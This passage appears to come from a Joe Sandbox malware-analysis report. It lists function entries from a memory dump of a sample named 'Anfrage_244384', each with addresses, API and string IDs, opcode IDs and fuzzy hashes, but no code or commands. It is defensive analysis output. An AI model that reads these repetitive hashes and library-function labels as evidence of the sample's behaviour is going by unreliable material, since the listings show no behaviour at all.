                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: b31c54579f56d3ec8472bff3e1da2f298a4d75c30b60bc5f3c55147b40026ff9
                                                        • Instruction ID: ea59337ad4d5b55fce2bf916d5ddc98e94ce2ff470a0a9980f856f6b1925d65c
                                                        • Opcode Fuzzy Hash: b31c54579f56d3ec8472bff3e1da2f298a4d75c30b60bc5f3c55147b40026ff9
                                                        • Instruction Fuzzy Hash: 86313372600314EFD311CF14C880A9A77AAFF84BA8F50426EED469B291DB35ED42CBD5
                                                        Function 346757C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 6bb44140032fbf1dc7176c343f1ac2aa05a06c62162da735574ad56e1233c87a
                                                        • Instruction ID: 5cb191b656c8b5f1937dd054980f121f2ece6dc2575ab422a1cafb69fb797d1b
                                                        • Opcode Fuzzy Hash: 6bb44140032fbf1dc7176c343f1ac2aa05a06c62162da735574ad56e1233c87a
                                                        • Instruction Fuzzy Hash: F331BC39715A06FFEB818F24CA50A99BBA6FF88344F54506AE80087F50DB35F830CB85
                                                        Function 34673616 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 4b1b7623130ee789e5a295fe2822733bfdd954a8f0862cf4a550ac43927bca82
                                                        • Instruction ID: 09761187bab3e9a2f9f8826529843031e2f15c7e1893e9267b639230dfca0891
                                                        • Opcode Fuzzy Hash: 4b1b7623130ee789e5a295fe2822733bfdd954a8f0862cf4a550ac43927bca82
                                                        • Instruction Fuzzy Hash: E621EA752053509FE7219F04C984B5ABFAAFFC1B24F81046DE9461BB60CA35E884CF92
                                                        Function 34681CC7 Relevance: 1.6, APIs: 1, Instructions: 79COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 65d294ea0565b2f4e6f381aadfacd161edc8511e5e117b13705a115af0958bb9
                                                        • Instruction ID: 4b55c49cd791570329aa81ac6e0e83c8a85831d08646b11191ff012b313ee963
                                                        • Opcode Fuzzy Hash: 65d294ea0565b2f4e6f381aadfacd161edc8511e5e117b13705a115af0958bb9
                                                        • Instruction Fuzzy Hash: CD21A175701B00DFE721CF28C850B86B7E9FF98714F14496EE592877A0EBB4A802CB80
                                                        Function 346692FF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: d500a8681b02b123741cd1ac4e4aae30c7ea2cc00dbd1333eb3fee4c6991d4d3
                                                        • Instruction ID: 818588a2412dcec7323bf8f8252b7bef5dd66f312b8ffb30d745e5ee6f722080
                                                        • Opcode Fuzzy Hash: d500a8681b02b123741cd1ac4e4aae30c7ea2cc00dbd1333eb3fee4c6991d4d3
                                                        • Instruction Fuzzy Hash: ECF0FA72200340AFE3319F09CC04F8ABBEDEF94B04F18011DA946A30A0CAA5A909CAA4
                                                        Function 3467973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @
                                                        • API String ID: 0-2766056989
                                                        • Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                                        • Instruction ID: c7a1d3813e01396cc0412f987cc62953d4d58cb58686083c39ef416b4a3fb528
                                                        • Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                                        • Instruction Fuzzy Hash: AD6147B5D00219EFEF118F95C840B9EBBF8EF85754F10466AE811A7290DB748A08CFA1
                                                        Function 346F3CDB Relevance: 1.4, Strings: 1, Instructions: 180COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CWDIllegalInDLLSearch
                                                        • API String ID: 0-473384322
                                                        • Opcode ID: f49f69e72e1ae0ba1556d5aa0307c14379c63cb1af32248a19e59ec7d96c36f7
                                                        • Instruction ID: 08bfed9751fb25811902430e667edbb93b81dc8e19cbb5cf261313ab2a893963
                                                        • Opcode Fuzzy Hash: f49f69e72e1ae0ba1556d5aa0307c14379c63cb1af32248a19e59ec7d96c36f7
                                                        • Instruction Fuzzy Hash: A451B1B5A087029FE711CE14CC81B5AB7E9EF94760F400A2EF9A5D7250D732DD88CB96
                                                        Function 346FF7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @
                                                        • API String ID: 0-2766056989
                                                        • Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                                        • Instruction ID: 800a09221986e59bcaf7bff93ac4ec5ced2742038a4964d8dc23fdb9e1e8ef5c
                                                        • Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                                        • Instruction Fuzzy Hash: 6D518BB2604305AFE7158F54CC40F5AB7ECFB94758F40092EB594A7690DBB2ED04CB96
                                                        Function 3466B136 Relevance: 1.4, Strings: 1, Instructions: 131COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: X`p(
                                                        • API String ID: 0-1167508055
                                                        • Opcode ID: aedc8ec853c18dddc56d5f61979de3d4bc5f5d001af3ce8d97486098d8cb56ff
                                                        • Instruction ID: d4e5b276cc13b69e95c0a47ea64195d7c5d684ccba6ed21ee5aab58e9fb87cff
                                                        • Opcode Fuzzy Hash: aedc8ec853c18dddc56d5f61979de3d4bc5f5d001af3ce8d97486098d8cb56ff
                                                        • Instruction Fuzzy Hash: D941CCB1640711EFE7119F68C880B5ABBEDEF14B98F008469E512DB260EB78DC00CF94
                                                        Function 3472B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: PreferredUILanguages
                                                        • API String ID: 0-1884656846
                                                        • Opcode ID: 7ebe3ae7c08d826b0b4b1d6ad2d2ff00a9e9fc5a9c3a8ad06ada866a6b4af831
                                                        • Instruction ID: ddd31a9f4b9ecc20b8a6be7ef67f661df6593d77d9499bc8b2c975efd9a658f1
                                                        • Opcode Fuzzy Hash: 7ebe3ae7c08d826b0b4b1d6ad2d2ff00a9e9fc5a9c3a8ad06ada866a6b4af831
                                                        • Instruction Fuzzy Hash: 4C41AD76A00619EFEB118EA5C844AEFB3BAEF44750F01416AE811EB351DA34DE40C7A4
                                                        Function 346F97A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: verifier.dll
                                                        • API String ID: 0-3265496382
                                                        • Opcode ID: f56f1c00e1339a05bd207ba64259a645f06e779acd813467c9320fabdbc978b6
                                                        • Instruction ID: 0285ec2966171ba00c3ee98fa37141666d9da69916338d6e1fcdcb784d615e59
                                                        • Opcode Fuzzy Hash: f56f1c00e1339a05bd207ba64259a645f06e779acd813467c9320fabdbc978b6
                                                        • Instruction Fuzzy Hash: 0E3184B5600301AFE7148F29DC60A6677E6EB58354FD0487AE585DF381E6328C858F55
                                                        Function 346ABC3B Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrpInitializeProcess
                                                        • API String ID: 0-2689506271
                                                        • Opcode ID: 19ae37b00a924951435474224f1d4f9c5d143c009308a2b2f2216381a53ba5b5
                                                        • Instruction ID: c496c8fbde4251b176b96c7193b6ffbf9d13690996321c3bb88db4e3086ee1b0
                                                        • Opcode Fuzzy Hash: 19ae37b00a924951435474224f1d4f9c5d143c009308a2b2f2216381a53ba5b5
                                                        • Instruction Fuzzy Hash: 3341A5B2515304EFE311CE90CA44EEBB7EDEB84714F44492EF2A296140D7B4E949CF6A
                                                        Function 346A7505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: #
                                                        • API String ID: 0-1885708031
                                                        • Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                        • Instruction ID: 9965dddc2034d4ea44b5683dfc4f35936626405275fa39deb2128d0f210bf0ec
                                                        • Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                        • Instruction Fuzzy Hash: A14181B9A00A15EFEB15CF54C490BBEB7B5EF94742F00445AE94597240DF30DD81CBA2
                                                        Function 346A36EF Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Flst
                                                        • API String ID: 0-2374792617
                                                        • Opcode ID: fd5be245fc8cadeeb4c6316254e09b27103d67ffc97ad1f09c722192549d692f
                                                        • Instruction ID: 833951ec5ae80d74c638538699e7e4dec01176c17c0f47df7b54a0457a690fff
                                                        • Opcode Fuzzy Hash: fd5be245fc8cadeeb4c6316254e09b27103d67ffc97ad1f09c722192549d692f
                                                        • Instruction Fuzzy Hash: CA41A7F5205701DFE304CF18C580A16FBE5EB99714F50816EE8498F281EB31DD86CB9A
                                                        Function 34669730 Relevance: 1.3, Strings: 1, Instructions: 96COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: L4QwL4Qw
                                                        • API String ID: 3446177414-1417497668
                                                        • Opcode ID: 609e945a18ae3192d7fe5ba3d15ae0fbf7e90dc65138b3cd223a7dd4d9f1081a
                                                        • Instruction ID: 03b06a7f5fecb34f915e81e1f3b25f5ee9f0db4d2f6246760c89555e3ea27490
                                                        • Opcode Fuzzy Hash: 609e945a18ae3192d7fe5ba3d15ae0fbf7e90dc65138b3cd223a7dd4d9f1081a
                                                        • Instruction Fuzzy Hash: 8D218376A00714EFE3218F58C800B5ABBB5FB84B68F11046DAD56AB751DB38DC09CF95
                                                        Function 346AD530 Relevance: 1.3, Strings: 1, Instructions: 85COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: gv4
                                                        • API String ID: 0-1041692182
                                                        • Opcode ID: 046302241cc84a4ff7e76e23f3a7665e5da098899f05d0d6892bccff35a7995f
                                                        • Instruction ID: d8187b3d08a3cea16ca970ab1589866a7e9dcc38673512246cf363763567fa66
                                                        • Opcode Fuzzy Hash: 046302241cc84a4ff7e76e23f3a7665e5da098899f05d0d6892bccff35a7995f
                                                        • Instruction Fuzzy Hash: 8121E2F1605700DFE721DF68CA40B5677EEEB64658F40082AF945AB661EB38DC40C7EA
                                                        Function 34675096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx
                                                        • API String ID: 0-89312691
                                                        • Opcode ID: 7673215ba39e7b895cbef7ced4502af27a4627d9d577e2efbb93882638f25f2a
                                                        • Instruction ID: b827abb1aaf39fc12e25e1caef8e14523e616ec4861068a0255f4496fe9e51f2
                                                        • Opcode Fuzzy Hash: 7673215ba39e7b895cbef7ced4502af27a4627d9d577e2efbb93882638f25f2a
                                                        • Instruction Fuzzy Hash: 651190747087068BF7945D1988706167B99EFA62A8F3085AEE460CBB90DA72D8418782
                                                        Function 346F106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrCreateEnclave
                                                        • API String ID: 0-3262589265
                                                        • Opcode ID: 139a1b3116e1a0c80c7638a3f466e643f05293a4d2faf49bc6089d8bc0ae960a
                                                        • Instruction ID: f114abf1063dd97b1d447d745d265448220afcd8537c930d32e8a369e32ec540
                                                        • Opcode Fuzzy Hash: 139a1b3116e1a0c80c7638a3f466e643f05293a4d2faf49bc6089d8bc0ae960a
                                                        • Instruction Fuzzy Hash: 3021F3B15083449FD310CF1AC845A9BFBE8EBD5B50F004A1EB99096250D7B6D805CF96
                                                        Function 346C739A Relevance: .7, Instructions: 705COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b824aea03ad264890c1f400683a88752f9e78fb2e98bb8e0649fe7ae237a3290
                                                        • Instruction ID: 40570553235bdf42408891930694aabaeb77395cb3a1b0d8f01e95955fe31303
                                                        • Opcode Fuzzy Hash: b824aea03ad264890c1f400683a88752f9e78fb2e98bb8e0649fe7ae237a3290
                                                        • Instruction Fuzzy Hash: A342CFB5A00616CFEB08CF59C880AAEB7B6FF98355F54816DD556AB340DB34EC42CB90
                                                        Function 347316CC Relevance: .6, Instructions: 571COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2541a35da90b0a77e13d29ab612ab96c3d41469b78187b3bba3dbe083e252bee
                                                        • Instruction ID: 5083ce7e751774e1e2e3c7b3378d6d376c4854c0df14422ded33eedfa32a3fb8
                                                        • Opcode Fuzzy Hash: 2541a35da90b0a77e13d29ab612ab96c3d41469b78187b3bba3dbe083e252bee
                                                        • Instruction Fuzzy Hash: 7322AF79B01216CFDB09CF99C490AAAB7B2FF89314F24856DD8559F346DB30A942CBD0
                                                        Function 3467D7E0 Relevance: .3, Instructions: 342COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2ba8c3fc6b9882b8f7a3f30c0d396ba141a6213bc18bdb34421f6de85bfa56b0
                                                        • Instruction ID: 4c212e82a55ef1f3de1f30395d1cfef840bfe6fc8ac01f1c51ae138b6acf3845
                                                        • Opcode Fuzzy Hash: 2ba8c3fc6b9882b8f7a3f30c0d396ba141a6213bc18bdb34421f6de85bfa56b0
                                                        • Instruction Fuzzy Hash: 9CC1ED74E002169FEB14CF58C840BAEFBB6BFA9354F54866DD814AB281D734ED46CB81
                                                        Function 3468F460 Relevance: .3, Instructions: 321COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d4704f641acda0127c1a94a8561518a3ead28e11157de5f0dade920e1f6e6a59
                                                        • Instruction ID: 63a217d59f0efd0a925f7e2ddb8bac74d5882c56c7270e3ee2d9197f1a10c390
                                                        • Opcode Fuzzy Hash: d4704f641acda0127c1a94a8561518a3ead28e11157de5f0dade920e1f6e6a59
                                                        • Instruction Fuzzy Hash: F1C11275B00321CBEB18CF18C490BA977A9FFA8754F55425DEC41AB3A1EB348D81CBA5
                                                        Function 346990DB Relevance: .3, Instructions: 287COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2d89ca25bd0dcb9152e5090bf885cdce1188bbde86075cbc76057a420867ad06
                                                        • Instruction ID: 0dd88996a7a6edca079e3ff59e765e66ca0f7dc40cf182652739e96d914aaabd
                                                        • Opcode Fuzzy Hash: 2d89ca25bd0dcb9152e5090bf885cdce1188bbde86075cbc76057a420867ad06
